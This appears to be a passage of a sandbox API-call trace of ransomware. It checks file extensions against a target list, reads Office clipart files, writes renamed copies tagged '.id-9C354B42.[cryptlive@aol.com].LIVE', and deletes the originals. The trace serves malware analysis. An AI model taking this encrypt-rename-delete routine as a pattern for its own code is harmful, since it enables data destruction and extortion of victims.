[0146.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0146.501] lstrlenW (lpString=".1cd") returned 4 [0146.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0146.501] lstrlenW (lpString=".jpg") returned 4 [0146.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0146.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0146.501] lstrlenW (lpString=".doc") returned 4 [0146.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.501] lstrlenW (lpString=".docx") returned 5 [0146.501] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.501] lstrlenW (lpString=".pdf") returned 4 [0146.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.501] lstrlenW (lpString=".xls") returned 4 [0146.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.502] lstrlenW (lpString=".xlsx") returned 5 [0146.502] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.502] lstrlenW (lpString=".ppt") returned 4 [0146.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0146.502] lstrlenW (lpString=".zip") returned 4 [0146.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.502] lstrlenW (lpString=".rar") returned 4 [0146.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.502] lstrlenW (lpString=".bz2") returned 4 [0146.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.502] lstrlenW (lpString=".7z") returned 3 [0146.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0146.502] lstrlenW (lpString=".dbf") returned 4 [0146.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0146.502] lstrlenW (lpString=".1cd") returned 4 [0146.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0146.502] lstrlenW (lpString=".jpg") returned 4 [0146.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.502] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.502] lstrlenW (lpString="HH02155_.WMF") returned 12 [0146.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.503] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2704) returned 1 [0146.503] CloseHandle (hObject=0x38c) returned 1 [0146.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x20 [0146.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.503] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.503] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0146.504] GetLastError () returned 0x0 [0146.504] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xa90, lpOverlapped=0x0) returned 1 [0146.909] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xaa0, lpOverlapped=0x0) returned 1 [0146.910] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.910] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.910] SetEndOfFile (hFile=0x394) returned 1 [0146.910] CloseHandle (hObject=0x394) returned 1 [0146.910] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.910] SetEndOfFile (hFile=0x38c) returned 1 [0146.912] CloseHandle (hObject=0x38c) returned 1 [0146.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0146.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0146.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0146.913] lstrlenW (lpString=".doc") returned 4 [0146.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.913] lstrlenW (lpString=".docx") returned 5 [0146.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.913] lstrlenW (lpString=".pdf") returned 4 [0146.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.913] lstrlenW (lpString=".xls") returned 4 [0146.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.913] lstrlenW (lpString=".xlsx") returned 5 [0146.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.913] lstrlenW (lpString=".ppt") returned 4 [0146.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0146.913] lstrlenW (lpString=".zip") returned 4 [0146.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.913] lstrlenW (lpString=".rar") returned 4 [0146.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.913] lstrlenW (lpString=".bz2") returned 4 [0146.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.914] lstrlenW (lpString=".7z") returned 3 [0146.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0146.914] lstrlenW (lpString=".dbf") returned 4 [0146.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0146.914] lstrlenW (lpString=".1cd") returned 4 [0146.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0146.914] lstrlenW (lpString=".jpg") returned 4 [0146.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0146.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0146.914] lstrlenW (lpString=".doc") returned 4 [0146.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.914] lstrlenW (lpString=".docx") returned 5 [0146.914] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.914] lstrlenW (lpString=".pdf") returned 4 [0146.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.914] lstrlenW (lpString=".xls") returned 4 [0146.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.914] lstrlenW (lpString=".xlsx") returned 5 [0146.914] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.914] lstrlenW (lpString=".ppt") returned 4 [0146.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0146.914] lstrlenW (lpString=".zip") returned 4 [0146.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.914] lstrlenW (lpString=".rar") returned 4 [0146.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.914] lstrlenW (lpString=".bz2") returned 4 [0146.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.914] lstrlenW (lpString=".7z") returned 3 [0146.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0146.915] lstrlenW (lpString=".dbf") returned 4 [0146.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0146.915] lstrlenW (lpString=".1cd") returned 4 [0146.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0146.915] lstrlenW (lpString=".jpg") returned 4 [0146.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.915] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.915] lstrlenW (lpString="HM00116_.WMF") returned 12 [0146.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.183] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=15852) returned 1 [0147.183] CloseHandle (hObject=0x36c) returned 1 [0147.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x20 [0147.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.304] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.304] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0147.310] GetLastError () returned 0x0 [0147.310] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x3dec, lpOverlapped=0x0) returned 1 [0147.313] WriteFile (in: hFile=0x39c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3df0, lpOverlapped=0x0) returned 1 [0147.314] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.314] WriteFile (in: hFile=0x39c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.314] SetEndOfFile (hFile=0x39c) returned 1 [0147.314] CloseHandle (hObject=0x39c) returned 1 [0147.314] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.314] SetEndOfFile (hFile=0x350) returned 1 [0147.316] CloseHandle (hObject=0x350) returned 1 [0147.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0147.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0147.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0147.394] lstrlenW (lpString=".doc") returned 4 [0147.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.394] lstrlenW (lpString=".docx") returned 5 [0147.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.394] lstrlenW (lpString=".pdf") returned 4 [0147.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.394] lstrlenW (lpString=".xls") returned 4 [0147.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.394] lstrlenW (lpString=".xlsx") returned 5 [0147.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.395] lstrlenW (lpString=".ppt") returned 4 [0147.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0147.395] lstrlenW (lpString=".zip") returned 4 [0147.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.395] lstrlenW (lpString=".rar") returned 4 [0147.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.395] lstrlenW (lpString=".bz2") returned 4 [0147.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.395] lstrlenW (lpString=".7z") returned 3 [0147.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0147.395] lstrlenW (lpString=".dbf") returned 4 [0147.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0147.395] lstrlenW (lpString=".1cd") returned 4 [0147.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0147.395] lstrlenW (lpString=".jpg") returned 4 [0147.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0147.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0147.396] lstrlenW (lpString=".doc") returned 4 [0147.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.396] lstrlenW (lpString=".docx") returned 5 [0147.396] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.396] lstrlenW (lpString=".pdf") returned 4 [0147.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.396] lstrlenW (lpString=".xls") returned 4 [0147.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.396] lstrlenW (lpString=".xlsx") returned 5 [0147.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.396] lstrlenW (lpString=".ppt") returned 4 [0147.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0147.396] lstrlenW (lpString=".zip") returned 4 [0147.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.396] lstrlenW (lpString=".rar") returned 4 [0147.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.396] lstrlenW (lpString=".bz2") returned 4 [0147.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.396] lstrlenW (lpString=".7z") returned 3 [0147.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0147.396] lstrlenW (lpString=".dbf") returned 4 [0147.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0147.396] lstrlenW (lpString=".1cd") returned 4 [0147.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0147.396] lstrlenW (lpString=".jpg") returned 4 [0147.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.396] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.397] lstrlenW (lpString="IN00118_.WMF") returned 12 [0147.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0147.397] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=792) returned 1 [0147.397] CloseHandle (hObject=0x394) returned 1 [0147.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf")) returned 0x20 [0147.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0147.398] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.398] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.398] GetLastError () returned 0x0 [0147.398] ReadFile (in: hFile=0x394, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x318, lpOverlapped=0x0) returned 1 [0147.419] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x320, lpOverlapped=0x0) returned 1 [0147.420] ReadFile (in: hFile=0x394, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.420] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.420] SetEndOfFile (hFile=0x3b4) returned 1 [0147.421] CloseHandle (hObject=0x3b4) returned 1 [0147.421] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.421] SetEndOfFile (hFile=0x394) returned 1 [0147.423] CloseHandle (hObject=0x394) returned 1 [0147.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0147.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0147.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0147.746] lstrlenW (lpString=".doc") returned 4 [0147.746] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.746] lstrlenW (lpString=".docx") returned 5 [0147.746] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.747] lstrlenW (lpString=".pdf") returned 4 [0147.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.747] lstrlenW (lpString=".xls") returned 4 [0147.747] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.747] lstrlenW (lpString=".xlsx") returned 5 [0147.747] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.747] lstrlenW (lpString=".ppt") returned 4 [0147.747] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0147.747] lstrlenW (lpString=".zip") returned 4 [0147.747] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.747] lstrlenW (lpString=".rar") returned 4 [0147.747] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.747] lstrlenW (lpString=".bz2") returned 4 [0147.747] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.747] lstrlenW (lpString=".7z") returned 3 [0147.747] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0147.747] lstrlenW (lpString=".dbf") returned 4 [0147.747] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0147.747] lstrlenW (lpString=".1cd") returned 4 [0147.747] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0147.747] lstrlenW (lpString=".jpg") returned 4 [0147.747] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0147.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0147.747] lstrlenW (lpString=".doc") returned 4 [0147.747] lstrcmpiW 